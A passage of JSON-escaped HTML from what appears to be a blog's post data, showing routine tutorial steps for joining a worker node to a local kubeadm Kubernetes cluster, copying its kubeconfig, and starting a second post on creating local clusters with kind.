style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e update\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u0026#x26;\u0026#x26; \u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e upgrade\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -y\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e install\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e containerd.io=1.6.8-1\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -y\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cat\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/containerd/config.toml\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003eversion = 2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e[plugins]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e [plugins.\"io.containerd.grpc.v1.cri\"]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e [plugins.\"io.containerd.grpc.v1.cri\".containerd]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes.runc]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e runtime_type = \"io.containerd.runc.v2\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes.runc.options]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e SystemdCgroup = true\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e systemctl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e restart\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e containerd.service\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e install\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubeadm=1.23.5-00\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubelet=1.23.5-00\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl=1.23.5-00\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -y\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eFrom there we should be ready to join the cluster. When we ran \u003ccode\u003ekubeadm init\u003c/code\u003e previously it\nprinted a join command out that we could use but I am going to show you how to do it if you\nwere coming back later and no longer had that token.\u003c/p\u003e\n\u003cp\u003eBack on the \u003cem\u003econtroplane\u003c/em\u003e node run:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubeadm\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e token\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e create\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --print-join-command\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekubeadm\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e join\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 192.168.64.7:6443\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --token\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e wxs197.cco6mjj9ricvu8ov\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --discovery-token-ca-cert-hash\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sha256:bd01c065240fa76f30a02ecb70a8cea6e329c9678994d4da1f6ccac7694b97fb\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow copy that command and run it with \u003ccode\u003esudo\u003c/code\u003e on the worker:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubeadm\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e join\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 192.168.64.7:6443\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --token\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e wxs197.cco6mjj9ricvu8ov\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --discovery-token-ca-cert-hash\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sha256:bd01c065240fa76f30a02ecb70a8cea6e329c9678994d4da1f6ccac7694b97fb\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eAfter this completes it will take a minute or two for everything to be synced up but if you go\nback to the master node you should have 2 ready nodes now:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e nodes\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ROLES\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e VERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ready\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e control-plane,master\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 46m\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.23.5\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eworker\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ready\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 79s\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.23.5\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch2\u003eAccessing the cluster outside of the VMs!\u003c/h2\u003e\n\u003cp\u003eNow the final part is to get the \u003ccode\u003eadmin.conf\u003c/code\u003e as a kubeconfig on your machine so you can control\nit from outside of the cluster. To do this we can use scp\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003emultipass\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e transfer\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e controlplane:/home/ubuntu/.kube/config\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e local.config\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNormally kubernetes configuration is in ~/.kube/config but I like to maintain a separate file for\neach cluster and then I set the \u003ccode\u003eKUBECONFIG\u003c/code\u003e env var to access it.\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e export\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e KUBECONFIG=local.config\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e nodes\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ROLES\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e VERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ready\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e control-plane,master\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 56m\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.23.5\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eworker\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ready\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 11m\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.23.5\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e","category":"Kubernetes","date":"2022-04-17T00:00:00Z","tags":["Linux","Kubernetes","DevOps","SRE"],"title":"Running a kubernetes cluster locally with kubeadm"},{"id":["2023","local_k8s_with_kind"],"path":"2023/local_k8s_with_kind","contentHtml":"\u003cp\u003ePreviously I \u003ca href=\"/blog/2022/local_kubeadm_cluster\"\u003eshowed\u003c/a\u003e how to run kubernetes\nlocally with \u003ccode\u003ekubeadm\u003c/code\u003e and VMs but sometimes that is overkill so I wanted to\nshow how to run \u003ca href=\"https://kind.sigs.k8s.io/\"\u003ekind\u003c/a\u003e which is \"kubernetes in\ndocker\".\u003c/p\u003e\n\u003ch1\u003eCreating your first cluster\u003c/h1\u003e\n\u003cp\u003ekind is a very flexible way to run kubernetes locally and allows you to run\nsingle node or multinode clusters with access to all the features of\nkubernetes, such as ingress.\u003c/p\u003e\n\u003cp\u003eTo create your first cluster it is as simple as running:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kind\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e create\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cluster\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eCreating\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cluster\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"kind\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ...\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e ✓\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ensuring\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e node\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e image\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e (kindest/node:v1.27.3) 🖼 \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e ✓\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Preparing\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e nodes\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 📦\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e ✓\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Writing\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e configuration\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 📜\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e ✓\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Starting\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e control-plane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 🕹️\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e ✓\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Installing\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e CNI\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 🔌\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e ✓\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Installing\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e StorageClass\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 💾\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eSet\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e context\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e to\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"kind-kind\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eYou\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e can\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e now\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e use\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e your\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cluster\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e with:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cluster-info\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --context\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kind-kind\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eHave\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e a\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e question,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e bug,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e or\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e feature\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e request?\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Let\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e us\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e know!\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://kind.sigs.k8s.io/#community\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 🙂\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eYou now have a functioning kubernetes cluster and you\ncan view what it created:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e k\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e node\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ROLES\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e VERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekind-control-plane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ready\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e control-plane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 4m26s\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.27.3\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eYou can also verify that it is running inside docker:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e docker\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ps\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eCONTAINER\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ID\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e IMAGE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e COMMAND\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e CREATED\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e PORTS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e NAMES\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e1c3ba74dc29b\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kindest/node:v1.27.3\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"/usr/local/bin/entr…\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 3\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e minutes\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ago\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Up\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 3\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e minutes\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 127.0.0.1:59327\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e6443/tcp\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kind-control-plane\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch1\u003eMaking the cluster useful\u003c/h1\u003e\n\u003cp\u003eThere are a few things you will notice with the command we ran originally:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eIt grabbed the latest kubernetes version available\u003c/li\u003e\n\u003cli\u003eIt is running a single node cluster\u003c/li\u003e\n\u003cli\u003eNo ingress available\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eLuckily kind makes it really easy to customize your local cluster to be what\nyou want it to be by using a \u003ccode\u003eYAML\u003c/code\u003e configuration.\u003c/p\u003e\n\u003cp\u003eCreate the configuration:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003ekind\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eCluster\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003eapiVersion\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ekind.x-k8s.io/v1alpha4\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003enodes\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e- \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003erole\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003econtrol-plane\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e kubeadmConfigPatches\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e kind: InitConfiguration\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e nodeRegistration:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubeletExtraArgs:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e node-labels: \"ingress-ready=true\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e extraPortMappings\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003econtainerPort\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e80\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e hostPort\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e80\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e protocol\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eTCP\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003econtainerPort\u003c/span\u003e\u003cspan 